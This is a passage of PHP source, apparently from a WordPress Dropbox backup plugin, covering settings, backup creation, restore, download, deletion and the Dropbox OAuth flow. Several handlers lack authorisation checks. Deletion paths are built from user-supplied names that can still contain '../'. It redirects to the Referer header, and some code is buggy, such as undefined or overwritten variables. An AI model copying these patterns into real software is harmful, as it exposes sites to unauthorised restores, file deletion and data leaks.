                            } elseif ($d[1] == 'w' && ( (int)$d[0] + WPADM_1WEEK ) <= time() ) {
                                $time = __("1 week",'dropbox-backup');
                                $hide = 'week';
                            }        
                        }
                        if (!empty($time) && !empty($hide) && file_exists(DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice5.php")) {
                            ob_start();
                            require_once DRBBACKUP_BASE_DIR . DIRECTORY_SEPARATOR . "template" . DIRECTORY_SEPARATOR . "notice5.php";
                            echo ob_get_clean();
                        }
                    }
                }
            }

            public static function setFlagToTmp($flag = '', $data = false)
            {
                if ( !empty($flag) ) {
                    if (!class_exists('WPAdm_Core')) {
                        require_once DRBBACKUP_BASE_DIR . "/libs/class-wpadm-core.php" ;
                        WPAdm_Core::$pl_dir = DRBBACKUP_BASE_DIR;
                    }
                    file_put_contents( WPAdm_Core::getTmpDir() . "/$flag" , $data );
                }
            }

            public static function auth_user()
            {
                if (isset($_POST['username']) && $_POST['password']) {
                    if(!function_exists("wp_safe_remote_post")) {
                        include ABSPATH . "/http.php";
                    }
                    $res = wp_safe_remote_post(SERVER_URL_INDEX, array('username' => sanitize_text_field( $_POST['username'] ), 'password' => sanitize_text_field( $_POST['password'] ), 'plugin' => 'dropbox-backup'));
                    if (!Empty($res['body'])) {
                        $data_res = json_decode($res['body']);
                        if (isset($data_res['url'])) {
                            header("Location: " . $data_res['url']);
                            exit;
                        }
                    }
                }
                header("Location: " . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") );
                exit;
            }

            public static function init()
            {
                parent::$plugin_name = 'dropbox-backup';
                require_once  DRBBACKUP_BASE_DIR . '/modules/class-wpadm-core.php';
                WPAdm_Core::$pl_dir = DRBBACKUP_BASE_DIR ;
            }

            static function include_admins_script()
            {
                if (isset($_GET['page']) && ($_GET['page'] == 'wpadm_wp_full_backup_dropbox' || $_GET['page'] == 'wpadm_plugins') ) {
                    wp_enqueue_style('admin-wpadm', plugins_url( "/template/css/admin-style-wpadm.css", dirname( __FILE__ )) );
                    wp_enqueue_script( 'js-admin-wpadm', plugins_url( "/template/js/admin-wpadm.js",  dirname( __FILE__ ) ) );
                    wp_enqueue_script( 'postbox' );
                    wp_enqueue_script( 'jquery-ui-tooltip' );
                }
                wp_enqueue_style('css-admin-wpadm-toolbar', plugins_url( "/template/css/tool-bar.css", dirname( __FILE__ )) );
            }

            public static function setUserMail()
            {
                if (isset($_POST['email'])) {
                    $email = sanitize_email( $_POST['email'] );
                    $mail = get_option(PREFIX_BACKUP_ . "email");
                    if ($mail) {
                        add_option(PREFIX_BACKUP_ . "email", $email);
                    } else {
                        update_option(PREFIX_BACKUP_ . "email",$email);
                    }
                } 
                echo 'true';
                wp_die();
            }
            public static function saveSetting()
            {
                if (isset($_POST['is_admin']) || isset($_POST['is_optimization']) || isset($_POST['is_local_backup_delete']) 
                || isset($_POST['is_repair']) || isset($_POST['time_error']) || isset($_POST['is_show_admin_bar'] ) || isset($_POST['backup_folder'] )
                || isset($_POST['clear_backup_folder']) || isset($_POST['zip_archive']) || isset( $_POST['tar_archive'] ) || isset( $_POST['targz_archive'] ) ) {

                    $dropbox_options = self::getSettings();

                    if (isset($_POST['time_error'])) {
                        $dropbox_options['time_error'] = (int)sanitize_text_field( $_POST['time_error'] );
                    }
                    if (isset($_POST['is_admin'])) {
                        $dropbox_options['is_admin'] = (int)sanitize_text_field( $_POST['is_admin'] );
                    }
                    if (isset($_POST['is_optimization'])) {
                        $dropbox_options['is_optimization'] = (int)sanitize_text_field( $_POST['is_optimization'] );
                    }
                    if (isset($_POST['is_local_backup_delete'])) {
                        $dropbox_options['is_local_backup_delete'] = (int)sanitize_text_field( $_POST['is_local_backup_delete'] );
                    } 
                    if (isset($_POST['is_repair'])) {
                        $dropbox_options['is_repair'] = (int)sanitize_text_field( $_POST['is_repair'] );
                    }  
                    if (isset($_POST['is_show_admin_bar'])) {
                        $dropbox_options['is_show_admin_bar'] = (int)sanitize_text_field( $_POST['is_show_admin_bar'] );
                    }
                    if (isset($_POST['backup_folder'])) {
                        $dropbox_options['backup_folder'] =  rtrim( sanitize_text_field( $_POST['backup_folder'] ), '/' );
                    }
                    if (isset($_POST['clear_backup_folder']) && $_POST['clear_backup_folder'] == 1) { 
                        if ( isset($dropbox_options['backup_folder']) ) {
                            unset($dropbox_options['backup_folder']);
                        }
                    }

                    $type_archive = '';
                    if (isset($_POST['zip_archive']) ) {
                        $type_archive =  'zip_archive';
                    } elseif (isset($_POST['tar_archive'])) {
                        $type_archive =  'tar_archive';
                    } elseif (isset($_POST['targz_archive'])) {
                        $type_archive =  'targz_archive';
                    }

                    if ( !empty($type_archive) ) {
                        if (isset(self::$type_archive[$type_archive])) {
                            if (isset($dropbox_options['type_archive'])) {
                                $dropbox_options['type_archive'] = array_merge( self::$type_archive, $dropbox_options['type_archive'] );
                            } else {
                                $dropbox_options['type_archive'] = self::$type_archive;
                            }
                            if ($dropbox_options['type_archive'][$type_archive] == 1) {
                                $dropbox_options['type_archive'][$type_archive] = 0;
                            } else {
                                $dropbox_options['type_archive'][$type_archive] = 1;
                            }
                        }
                    }

                    self::setSettings($dropbox_options);
                }
            }

            public static function getSettings()
            {
                $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
                if ($dropbox_options) {
                    $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
                } else {
                    $dropbox_options = array();
                }
                return $dropbox_options;
            }

            public static function setSettings($data, $key = '')
            {
                $dropbox_options = get_option(PREFIX_BACKUP_ . 'dropbox-setting');
                if ($dropbox_options) {
                    $dropbox_options = unserialize( base64_decode( $dropbox_options ) );
                } else {
                    $dropbox_options = array();
                }
                if ( !empty($key) ) {
                    if(isset($dropbox_options[$key])) {
                        $dropbox_options[$key] = $data;
                    }
                } else {
                    $dropbox_options = $data;
                }

                update_option(PREFIX_BACKUP_ . 'dropbox-setting', base64_encode(  serialize( $dropbox_options ) ) );

                return $dropbox_options;
            }

            public static function local_backup()
            {
                self::is_auth_user();
                require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
                require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-process.php";
                @session_write_close();
                parent::$type = 'full'; 
                if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
                    @unlink(WPAdm_Core::getTmpDir() . "/logs2");
                }  
                if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
                    file_put_contents(WPAdm_Core::getTmpDir() . "/log.log", '');
                }   

                WPAdm_Core::rmdir(WPAdm_Core::getTmpDir() . "/log-archive.log");  

                WPAdm_Process::clear();

                $backup_dir = DROPBOX_BACKUP_DIR_BACKUP;
                $dropbox_options = self::getSettings();
                if ($dropbox_options) {
                    if (isset($dropbox_options['backup_folder']) && !empty($dropbox_options['backup_folder'])) {
                        $backup_dir = $dropbox_options['backup_folder'];
                    }
                }
                WPAdm_Core::mkdir($backup_dir); 
                WPAdm_Running::init_params_default();
                self::testOtherArchives();
                $res['result'] = 'success';
                if (defined('DISABLE_WP_CRON')) {  
                    if (DISABLE_WP_CRON === true || DISABLE_WP_CRON == 'true') { 
                        $res['result'] = 'error';
                        $res['error'] = __('Please enable cron-tasks on your website.','dropbox-backup') . '<br /><br /><a href="javascript:void(0)" onclick="showEnableCron();" >' . __('How to enable cron-tasks on my website?','dropbox-backup') . '</a><br /><br />';
                        $res['data'] = array();
                        $res['size'] = 0;
                    }
                }

                if ( (isset($res['result']) && $res['result'] != 'error') ) {
                    if ( WPAdm_Core::dir_writeble($backup_dir) ) {
                        WPAdm_Running::delCommandResultData("local_backup");
                        $dropbox_options = self::getSettings();
                        $optimization = (isset($dropbox_options['is_optimization']) && $dropbox_options['is_optimization'] == 1) || (!isset($dropbox_options['is_optimization'])) ? 1 : 0;
                        $repair = (isset($dropbox_options['is_repair']) && $dropbox_options['is_repair'] == 1) ? 1 : 0;
                        $backup = new WPAdm_Core(array('method' => "local_backup", 'params' => array('optimize' => $optimization, 'repair' => $repair, 'limit' => 0, 'time' => (int)$_POST['time'], 'types' => array('db', 'files') )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
                        if (WPAdm_Core::$cron === false) {
                            $res = $backup->getResult()->toArray();
                            $res['md5_data'] = md5( print_r($res, 1) );
                            $res['name'] = $backup->name;
                            $res['time'] = $backup->time;
                            $res['type'] = 'local';
                            $res['counts'] = count($res['data']);
                        } else {
                            set_transient('running_command', 'local_backup', HOUR_IN_SECONDS);
                            $res['result'] = 'work';
                            $res['error'] = '';
                            $res['data'] = array();
                            $res['size'] = 0;
                        }
                    } else {
                        $res['result'] = 'error';
                        $res['error'] = str_replace(array('%domain', '%dir-backup'), array(SITE_HOME, $backup_dir), __('Website "%domain" returned an error during file creation: Failed to create file, please check the permissions on the folder "%dir-backup".','dropbox-backup') );
                        $res['data'] = array();
                        $res['size'] = 0;
                    }
                }

                @session_start();
                echo json_encode($res);
                wp_die();

            }

            public static function getLog()
            {   
                self::is_auth_user();
                @session_write_close();
                @session_start();       
                require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
                require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-process.php";
                $backup = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
                $log = WPAdm_Core::getLog();
                $log2 = WPAdm_Core::getTmpDir() . "/logs2";
                $log_array = array();
                if ( file_exists($log2) ) {
                    $text = @file_get_contents($log2);
                    if ($text == $log) {
                        $circle = WPAdm_Running::getCommandResultData( 'circle' );
                        if ( empty($circle['count']) || $circle['count'] == 0) {
                            $circle['count'] = 0;
                        }
                        $dropbox_options = self::getSettings();
                        if ($dropbox_options) {
                            if (isset($dropbox_options['time_error'])) {
                                self::$circle = ( (int)$dropbox_options['time_error'] * 6 );
                            }
                        }
                        $log_array['circle'] = self::$circle;
                        if ( $circle['count'] <= self::$circle ) {
                            $circle['count']++;
                            $circle['time'] = time();
                            WPAdm_Running::setCommandResultData( 'circle', $circle );
                        } else {
                            $date_systm = get_system_data();
                            $error_msg = __('There is not enough script running time to perform backup operations, please increase the PHP variable max_execution_time.', 'dropbox-backup');
                            if ( $date_systm['upMemoryLimit'] == 0 ) {
                                $error_msg = __('There is not enough memory to perform archiving of big files and continue backup operations, please increase the PHP variable memory_limit.', 'dropbox-backup');
                            }
                            $log_array['data'] = array(
                            'result' => 'error', 
                            'error' => $error_msg, 
                            'data' => null, 
                            'size' => 0 );
                            $type_backup = sanitize_text_field( $_POST['type-backup'] );
                            self::stopBackup(true, $type_backup);
                        }
                        $log_array['example'] = $circle;
                    } else {
                        WPAdm_Running::setCommandResultData( 'circle', array( 'count' => 0, 'time' => time() ) ); 
                    }
                    file_put_contents($log2, $log); 
                    $log = str_replace($text, "", $log);
                } else {
                    file_put_contents($log2, $log);
                }
                $log = explode("\n", $log);
                krsort($log);
                $log_array['log'] = $log;
                $type_backup = sanitize_text_field( $_POST['type-backup'] );
                $data_result = WPAdm_Running::getCommandResultData( $type_backup );
                if (!empty($data_result)) {
                    $log_array['data'] = $data_result;
                    set_transient('drb_running', 0, 1); 
                }
                if (isset($_POST['type-backup2'])) {
                    $type_backup2 = sanitize_text_field( $_POST['type-backup2'] );
                    $data_result = WPAdm_Running::getCommandResultData( $type_backup2 );
                    if (!empty($data_result) && $data_result['result'] != 'success') {
                        $log_array['data'] = $data_result;
                        set_transient('drb_running', 0, 1); 
                    }
                } 
                $log_array['processes'] = WPAdm_Process::getAll(); 
                if (defined('WP_CRON_LOCK_TIMEOUT')) {
                    $log_array['lock_cron'] = WP_CRON_LOCK_TIMEOUT; 
                }
                echo json_encode( $log_array );
                exit;
            }
            public static function restore_backup()
            {
                require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
                @session_write_close();
                parent::$type = 'full'; 
                if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
                    @unlink(WPAdm_Core::getTmpDir() . "/logs2");
                }
                $name_backup = isset($_POST['name']) ? sanitize_text_field( $_POST['name'] ) : "";
                $backup = new WPAdm_Core(array('method' => "local_restore", 'params' => array('types' => array('files', 'db'), 'name_backup' => $name_backup )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
                $res = $backup->getResult()->toArray();
                @session_start();
                echo json_encode($res);
                wp_die();
            }
            public static function wpadm_restore_dropbox()
            {
                require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
                @session_write_close();
                $log_class = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
                if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
                    @unlink(WPAdm_Core::getTmpDir() . "/logs2");
                }
                if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
                    @unlink(WPAdm_Core::getTmpDir() . "/log.log");
                }
                WPAdm_Core::log( __('Start Restore from Dropbox cloud' ,'dropbox-backup')) ;
                $dropbox_options = self::getSettings();
                if ($dropbox_options && isset( $dropbox_options['app_key'] ) ) {
                    require_once DRBBACKUP_BASE_DIR. "/modules/dropbox.class.php";
                    $folder_project = self::getNameProject();
                    $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
                    if ($dropbox->isAuth()) {
                        WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP); 
                        $name_backup = isset($_POST['name']) ? sanitize_text_field( $_POST['name'] ): "";
                        $dir_backup = DROPBOX_BACKUP_DIR_BACKUP . "/$name_backup";
                        $error = WPAdm_Core::mkdir($dir_backup);
                        if (!empty($error)) {
                            WPAdm_Core::log($error);
                            $res['result'] = WPAdm_Result::WPADM_RESULT_ERROR;
                            $res['error'] = $error;
                            $res['data'] = array();
                            $res['size'] = 0;

                        } else {
                            $files = $dropbox->listing("$folder_project/$name_backup");
                            if (isset($files['items'])) {
                                $n = count($files['items']);
                                for($i = 0; $i < $n; $i++) {
                                    $res = $dropbox->downloadFile("$folder_project/$name_backup/{$files['items'][$i]['name']}", "$dir_backup/{$files['items'][$i]['name']}");
                                    if ($res != "$dir_backup/{$files['items'][$i]['name']}" && isset($res['text'])) {
                                        WPAdm_Core::log(__('Error: ' ,'dropbox-backup') . $res['text'] );
                                    } else {
                                        $log = str_replace('%s', $files['items'][$i]['name'], __('Download file (%s) with Dropbox' ,'dropbox-backup') );
                                        WPAdm_Core::log($log);
                                    }
                                }
                                parent::$type = 'full'; 
                                $backup = new WPAdm_Core(array('method' => "local_restore", 'params' => array('types' => array('files', 'db'), 'name_backup' => $name_backup )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
                                $res = $backup->getResult()->toArray();
                                WPAdm_Core::rmdir($dir_backup);
                            }
                        }
                    } else {
                        WPAdm_Core::log( str_replace(array('%d', '%k', '%s'), 
                        array( SITE_HOME, $dropbox_options['app_key'], $dropbox_options['app_secret'] ), __('Website "%d" can\'t authorize on Dropbox with using of "app key: %k" and "app secret: %s"' ,'dropbox-backup')
                        ) );
                    }
                } else {
                    WPAdm_Core::log( str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') ) );
                }
                @session_start();
                echo json_encode($res);
                wp_die();
            }
            public static function download()
            {
                if (isset($_REQUEST['backup'])) {
                    $backup = sanitize_text_field($_REQUEST['backup']);
                    require_once DRBBACKUP_BASE_DIR . "/class-wpadm-core.php"; 
                    require_once DRBBACKUP_BASE_DIR . '/modules/pclzip.lib.php';
                    $backup = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
                    $filename = $backup . ".zip";
                    $file = WPAdm_Core::getTmpDir() . "/" . $filename;
                    if (file_exists($file)) {
                        @unlink($file);
                    }
                    $archive = new PclZip($file);
                    $dir_backup = DROPBOX_BACKUP_DIR_BACKUP . '/' . $backup;

                    $backups = array('data' => array(), 'md5' => '');
                    if (is_dir($dir_backup)) { 
                        $i = 0;
                        $dir_open = opendir($dir_backup);
                        while($d = readdir($dir_open)) {
                            if ($d != '.' && $d != '..' && file_exists($dir_backup . "/$d") && substr($d, -3) != "php") {
                                $archive->add($dir_backup . "/$d", PCLZIP_OPT_REMOVE_PATH, DROPBOX_BACKUP_DIR_BACKUP );
                            }
                        }
                    }


                    $now = gmdate("D, d M Y H:i:s");
                    header("Expires: Tue, 03 Jul 2001 06:00:00 GMT");
                    header("Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate");
                    header("Last-Modified: {$now} GMT");

                    // force download  
                    header("Content-Type: application/force-download");
                    header("Content-Type: application/octet-stream");
                    header("Content-Type: application/download");

                    // disposition / encoding on response body
                    header("Content-Disposition: attachment;filename={$filename}");
                    header("Content-Transfer-Encoding: binary");

                    ob_start();
                    $df = fopen("php://output", 'w');
                    echo file_get_contents($file);
                    fclose($df);
                    echo ob_get_clean();
                    @unlink($file);
                    exit;
                }
            }

            public static function delete_backup($type = '', $name = '')
            {
                if (self::$local_delete === false || empty(self::$local_delete)) {
                    self::is_auth_user();
                }
                if ( isset($_POST['backup-type']) ) {
                    $type = sanitize_text_field( $_POST['backup-type'] );
                } elseif( !empty($type) ) {
                    $type = sanitize_text_field( $type ); 
                }

                if (isset($_POST['backup-name'])) {
                    $name = sanitize_text_field( $_POST['backup-name'] );
                } elseif (!empty($name)) {
                    $name = sanitize_text_field( $name );
                }

                if ($type == 'local') {
                    require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
                    $backup_dir = DROPBOX_BACKUP_DIR_BACKUP;
                    $dropbox_options = self::getSettings();
                    if ($dropbox_options) {
                        if (isset($dropbox_options['backup_folder']) && !empty($dropbox_options['backup_folder'])) {
                            $backup_dir = $dropbox_options['backup_folder'];
                        }
                    }

                    $dir = $backup_dir . '/' . $name ;
                    $delete = false;
                    if (is_dir($dir)) {
                        WPAdm_Core::rmdir($dir);
                        $delete = true;
                    }
                    $dir = ABSPATH . WPADM_DIR_NAME .  '/' . $name ;
                    if (is_dir($dir)) {
                        WPAdm_Core::rmdir($dir);
                        $delete = true;
                    }
                    $dir = WPADM_DIR_BACKUP .  '/' . $name ;
                    if (is_dir($dir)) {
                        WPAdm_Core::rmdir($dir);
                        $delete = true;
                    }
                    if ($delete) {
                        parent::setMessage( str_replace('%s', $name, __('Backup(%s) was deleted','dropbox-backup') ) );
                    }
                } elseif ($type == 'dropbox') {
                    require_once DRBBACKUP_BASE_DIR . "/modules/dropbox.class.php";
                    $dropbox_options = self::getSettings();
                    if ($dropbox_options && isset($dropbox_options['app_key'])) {
                        if (isset($dropbox_options['auth_token_secret'])) {
                            $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'], $dropbox_options['auth_token_secret']);
                        } elseif (isset($dropbox_options['access_token']) && !empty($dropbox_options['token_type'])) {
                            $dropbox = new dropbox($dropbox_options['app_key'], $dropbox_options['app_secret'] );
                            $dropbox->setAccessToken2($dropbox_options['access_token'], $dropbox_options['token_type']);
                        }
                        $folder_project = self::getNameProject();
                        $res = $dropbox->deleteFile("$folder_project/{$name}");
                        if ($res['is_deleted'] === true) {
                            parent::setMessage( str_replace('%s', $name, __('Backup(%s) was deleted','dropbox-backup') ) );
                        }
                    } 
                }
                if (self::$local_delete === false || empty(self::$local_delete)) {
                    header("Location: " . $_SERVER['HTTP_REFERER']);
                }
            }

            protected static function getPluginName()
            {

                preg_match("|wpadm_wp_(.*)|", __CLASS__, $m);
                return $m[1];
            }
            protected static function getPathPlugin()
            {
                return "wpadm_full_backup_dropbox";
            }

            public static function dropboxConnect()
            {
                require_once DRBBACKUP_BASE_DIR . "/modules/dropbox.class.php";
                if (isset($_GET['app_key']) && isset($_GET['app_secret'])) {
                    if (empty($_GET['app_key']) && empty($_GET['app_secret'])) {
                        $app_key =  WPADM_APP_KEY;
                        $app_secret =  WPADM_APP_SECRET;
                    } else {
                        $app_key = sanitize_text_field($_GET['app_key']);
                        $app_secret = sanitize_text_field($_GET['app_secret']);
                    }
                    $dropbox = new dropbox($app_key, $app_secret);
                    $_SESSION['dropbox_key'] = $app_key; 
                    $_SESSION['dropbox_secret'] = $app_secret; 
                    $_SESSION['dropbox_request_token'] = $dropbox->getRequestToken();
                    $dropbox->is_oauth2(true);
                    echo '<script>window.location.href="' . $dropbox->generateAuthUrl( admin_url('admin-post.php?action=dropboxConnect') ) . '";</script>';
                } elseif (isset($_GET['oauth_token']) && isset($_GET['uid'])) {
                    $dropbox_options = self::getSettings();
                    $dropbox = new dropbox(@$_SESSION['dropbox_key'], @$_SESSION['dropbox_secret']);
                    $access_token = $dropbox->getAccessToken($_SESSION['dropbox_request_token']);
                    $dropbox_options['app_key'] = @$_SESSION['dropbox_key'] ;
                    $dropbox_options['app_secret'] = @$_SESSION['dropbox_secret'] ;
                    $dropbox_options['auth_token_secret'] = $access_token;
                    $dropbox_options['oauth_token'] = sanitize_text_field( @$_GET['oauth_token'] ) ;
                    $dropbox_options['uid'] = sanitize_text_field( @$_GET['uid'] ) ;
                    self::setSettings($dropbox_options);
                    echo '<script>
                    if(window.opener){
                    window.opener.connectDropbox(null, null, "'. htmlspecialchars($access_token['oauth_token_secret']) . '", "'.htmlspecialchars($access_token['oauth_token']).'", "'.htmlspecialchars($access_token['uid']).'");window.close();
                    }else{
                    window.location.href="' . admin_url("admin.php?page=wpadm_wp_full_backup_dropbox") . '";
                    }
                    </script>';
                    echo '<script>window.close();</script>';
                    exit;
                } elseif (isset($_GET['not_approved'])) {
                    if( $_GET['not_approved'] == 'true' ){   // check of GET params == string 'true'
                        echo '<script>window.close();</script>';
                        exit;
                    }
                } elseif( isset($_POST['dropbox_code_auth']) ) {
                    $dropbox = new dropbox( @$_SESSION['dropbox_key'], @$_SESSION['dropbox_secret'] );
                    $dropbox->is_oauth2(true);
                    $token = $dropbox->getAccessToken( sanitize_text_field( $_POST['dropbox_code_auth'] ) );
                    if (isset( $token['access_token'] ) && isset( $token['token_type'] ) ) {
                        $dropbox_options = self::getSettings();
                        $dropbox_options['app_key'] = @$_SESSION['dropbox_key'] ;
                        $dropbox_options['app_secret'] = @$_SESSION['dropbox_secret'] ;
                        $dropbox_options['uid'] = $token['uid'] ; 
                        $dropbox_options['access_token'] = $token['access_token'];
                        $dropbox_options['token_type'] = $token['token_type'];
                        if (isset($dropbox_options['auth_token_secret'])) {
                            unset($dropbox_options['auth_token_secret']);
                        }
                        if (isset($dropbox_options['oauth_token'])) {
                            unset($dropbox_options['oauth_token']);
                        }
                        self::setSettings($dropbox_options);

                    }
                    echo json_encode( array( 'uid' => @$token['uid'] ) );  
                    exit;
                } else {
                    WPAdm_Core::log( str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') ) );
                }
                exit;
            }

            public static function dropbox_backup_create()
            {      
                self::is_auth_user();
                require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-core.php";
                require_once DRBBACKUP_BASE_DIR . "/modules/class-wpadm-process.php";
                @session_write_close();          

                $log = new WPAdm_Core(array('method' => "local"), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
                if (file_exists(WPAdm_Core::getTmpDir() . "/logs2")) {
                    @unlink(WPAdm_Core::getTmpDir() . "/logs2");
                }
                if (file_exists(WPAdm_Core::getTmpDir() . "/log.log")) {
                    file_put_contents(WPAdm_Core::getTmpDir() . "/log.log", '');
                }  

                WPAdm_Core::rmdir(WPAdm_Core::getTmpDir() . "/log-archive.log");  

                WPAdm_Process::clear();  

                $backup_dir = DROPBOX_BACKUP_DIR_BACKUP;
                $dropbox_options = self::getSettings();
                if ($dropbox_options) {
                    if (isset($dropbox_options['backup_folder']) && !empty($dropbox_options['backup_folder'])) {
                        $backup_dir = $dropbox_options['backup_folder'];
                    }
                }

                if ( WPAdm_Core::dir_writeble($backup_dir) ) {
                    $send_to_dropbox = true;
                    if ($dropbox_options) {
                        if (!isset($dropbox_options['app_key'])) {
                            WPAdm_Core::log( str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "App Key" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') ) );
                            $send_to_dropbox = false;
                            $res['result'] = 'error';
                            $res['error'] = str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "App Key" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') );
                            $res['data'] = array();
                            $res['size'] = 0;
                        }
                        if (!isset($dropbox_options['app_secret'])) {
                            WPAdm_Core::log( str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "App Secret" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') ) );
                            $send_to_dropbox = false;

                            $res['result'] = 'error';
                            $res['error'] = str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "App Secret" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') );
                            $res['data'] = array();
                            $res['size'] = 0;
                        }


                        if ( !isset($dropbox_options['oauth_token']) && (!isset($dropbox_options['access_token']) || !isset($dropbox_options['token_type']) )) {
                            $log = str_replace('%d', SITE_HOME, __('Website "%d" returned an error during file sending to Dropbox: "Auth Token not exist. Files cannot be sent to Dropbox cloud. Please, check your Dropbox settings."' ,'dropbox-backup') );
                            WPAdm_Core::log( $log );    
                            $send_to_dropbox = false;
                            $res['result'] = 'error';
                            $res['error'] = $log;
                            $res['data'] = array();
                            $res['size'] = 0;
                        }
                    } else {
                        WPAdm_Core::log( str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') ) );
                        $res['type'] = 'local';
                        $send_to_dropbox = false;

                        $res['result'] = 'error';
                        $res['error'] = str_replace('%d', SITE_HOME, __('Website "%d" returned an error during connection to Dropbox: "app key" and "app secret" wasn\'t found. Please, check your Dropbox settings.' ,'dropbox-backup') );
                        $res['data'] = array();
                        $res['size'] = 0;

                    }

                    if (defined('DISABLE_WP_CRON')) {
                        if (DISABLE_WP_CRON === true || DISABLE_WP_CRON == 'true') {
                            $res['result'] = 'error';
                            $res['error'] = __('Please enable cron-tasks on your website.','dropbox-backup') . '<br /><br /><a href="javascript:void(0)" onclick="showEnableCron();" >' . __('How to enable cron-tasks on my website?','dropbox-backup') . '</a><br /><br />';
                            $res['data'] = array();
                            $res['size'] = 0;
                            $send_to_dropbox = false;
                        }
                    }

                    if ($send_to_dropbox) {
                        parent::$type = 'full'; 
                        WPAdm_Running::init_params_default();
                        self::testOtherArchives();
                        WPAdm_Running::delCommandResultData("local_backup");

                        $dropbox_options = self::getSettings();
                        $optimization = (isset($dropbox_options['is_optimization']) && $dropbox_options['is_optimization'] == 1) || (!isset($dropbox_options['is_optimization'])) ? 1 : 0;
                        $repair = (isset($dropbox_options['is_repair']) && $dropbox_options['is_repair'] == 1) ? 1 : 0;

                        $backup_local = new WPAdm_Core(array('method' => "local_backup", 'params' => array('optimize' => $optimization, 'repair' => $repair, 'limit' => 0, 'time' => (int)$_POST['time'], 'types' => array('db', 'files') )), 'full_backup_dropbox', WPAdm_Core::$pl_dir);
                        $res = array();
                        if (WPAdm_Core::$cron === false) {
                            $res = $backup->getResult()->toArray();
                            $res['md5_data'] = md5( print_r($res, 1) );
                            $res['name'] = $backup->name;
                            $res['time'] = $backup->time;
                            $res['type'] = 'dropbox';
                            $res['counts'] = count($res['data']);
                        } 
                        unset($backup_local);
                        $folder_project = self::getNameProject();
                        WPAdm_Running::delCommandResultData("send-to-dropbox");

                        WPAdm_Running::delCommandResultData("send-to-dropbox");
                        if (isset($dropbox_options['token_type']) && isset($dropbox_options['access_token'])) {
                            $token = $dropbox_options['access_token']; 
                            $type  = $dropbox_options['token_type'];
                        } else {
                            $type = '';
                            $token = @$dropbox_options['auth_token_secret'];
                        }

                        $backup = new WPAdm_Core(array('method' => "send-to-dropbox", 
                        'params' => array('files' => isset($res['data']) ? $res['data'] : '', 
                        'local' => true,
                        'is_local_backup' => ( isset($dropbox_options['is_local_backup_delete']) && $dropbox_options['is_local_backup_delete'] == 1 ? $dropbox_options['is_local_backup_delete'] : 0 ),
                        'access_details' => array('key' => $dropbox_options['app_key'], 
                        'secret' => $dropbox_options['app_secret'], 
                        'token' => $token,
                        'type' => $type,

                        'dir' => isset($res['name']) ? $res['name'] : '',
                        'folder' => $folder_project),
                        'time' => (int)$_POST['time'],
                        'is_folder_set'  => isset($dropbox_options['backup_folder']) && !empty($dropbox_options['backup_folder']),
                        )
                        ),
                        'full_backup_dropbox', WPAdm_Core::$pl_dir) ;
                        if (WPAdm_Core::$cron === false) {
                            $result_send = $backup->getResult()->toArray();
                            if ($result_send['result'] == 'error') {
                                $res = array();
                                $res['error'] = $result_send['error'];
                                $res['result'] = 'error';
                                @rename(WPAdm_Core::getTmpDir() . "/logs2", WPAdm_Core::getTmpDir() . "/logs_error_" . $backup_local->time);
                            }
                            WPAdm_Core::rmdir( $backup_dir . "/{$res['name']}");
                        } else {
                            set_transient('running_command', 'send-to-dropbox', HOUR_IN_SECONDS);
                            $res['result'] = 'work';
                            $res['error'] = '';
                            $res['data'] = array();
                            $res['size'] = 0;
                        }
                    } 
                } else {
                    $res['result'] = 'error';
                    $res['error'] = str_replace(array('%domain', '%dir-backup'), array(SITE_HOME, $backup_dir), __('Website "%domain" returned an error during file creation: Failed to create file, please check the permissions on the folder "%dir-backup".','dropbox-backup')  );
                    $res['data'] = array();
                    $res['size'] = 0;
                }
                @session_start();
                echo json_encode($res);
                wp_die(); 
            }
            public static function getNameProject()
            {
                $folder_project = str_ireplace( array("http://", "https://"), '', home_url() );
